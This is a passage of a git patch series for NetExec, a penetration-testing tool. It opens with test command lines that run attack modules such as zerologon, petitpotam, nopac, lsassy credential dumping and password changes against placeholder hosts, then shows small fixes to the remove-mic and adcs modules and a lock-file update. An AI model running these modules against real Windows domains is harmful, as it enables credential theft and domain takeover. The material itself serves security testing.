KERBEROS -M winscp netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWPASS=Password123 -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWNTHASH=58A478135A93AC3BF058A5EA0E8FDB71 +#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWPASS=Password123 +#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWNTHASH=58A478135A93AC3BF058A5EA0E8FDB71 # test for multiple modules at once netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M uac -M webdav -M wifi -M coerce_plus ##### SMB Anonymous Auth From 81e4977324247ac7b80cc93e1d400a009b889634 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 14:21:44 -0400 Subject: [PATCH 81/83] Fix remove-mic module --- nxc/modules/remove-mic.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/remove-mic.py b/nxc/modules/remove-mic.py index e63eb83e..29007b53 100644 --- a/nxc/modules/remove-mic.py +++ b/nxc/modules/remove-mic.py @@ -56,7 +56,7 @@ class NXCModule: class Modify_Func: # Slightly modified version of impackets computeResponseNTLMv2 def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash="", nthash="", - use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""): + use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b"", service="cifs"): responseServerVersion = b"\x01" hiResponseServerVersion = b"\x01" From d0f9b2d9e2272b7b442aa917e09f6acefb57f295 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 14:25:02 -0400 Subject: [PATCH 82/83] Display proper info when there is no adcs in the domain --- nxc/modules/adcs.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/nxc/modules/adcs.py b/nxc/modules/adcs.py index 76faae18..a2d94062 100644 --- a/nxc/modules/adcs.py +++ b/nxc/modules/adcs.py @@ -70,7 +70,10 @@ class NXCModule: searchBase="CN=Configuration," + base_dn_root, ) except LDAPSearchError as e: - context.log.fail(f"Obtained unexpected exception: {e}") + if "noSuchObject" in str(e): + context.log.fail("No ADCS infrastructure found.") + else: + context.log.fail(f"Obtained unexpected exception: {e}") def process_servers(self, item): """Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers.""" From 3fcb3777db246a27040ddc5a683319e27b34376e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 14:32:49 -0400 Subject: [PATCH 83/83] Regenerate lock file --- poetry.lock | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/poetry.lock b/poetry.lock index c1dd2577..439f04e9 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 2.1.3 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.1.1 and should not be changed by hand. [[package]] name = "aardwolf" @@ -687,7 +687,7 @@ description = "Backport of PEP 654 (exception groups)" optional = false python-versions = ">=3.7" groups = ["dev"] -markers = "python_version == \"3.10\"" +markers = "python_version < \"3.11\"" files = [ {file = "exceptiongroup-1.2.2-py3-none-any.whl", hash = "sha256:3111b9d131c238bec2f8f516e123e14ba243563fb135d3fe885990585aa7795b"}, {file = "exceptiongroup-1.2.2.tar.gz", hash = "sha256:47c2edf7c6738fafb49fd34290706d1a1a2f4d1c6df275526b62cbb4aa5393cc"}, @@ -2301,7 +2301,7 @@ description = "A lil' TOML parser" optional = false python-versions = ">=3.8" groups = ["dev"] -markers = "python_version == \"3.10\"" +markers = "python_version < \"3.11\"" files = [ {file = "tomli-2.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678e4fa69e4575eb77d103de3df8a895e1591b48e740211bd1067378c69e8249"}, {file = "tomli-2.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:023aa114dd824ade0100497eb2318602af309e5a55595f76b626d6d9f3b7b0a6"}, @@ -2463,4 +2463,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "af9de47cccd46147f7debdfe235c4bbffdc2293322bc2c5a7a644166c1488ee3" +content-hash = "e748a99b7137fb81541ad5152dd98603856a2bfea56d7b9ff23913e950ea2f70"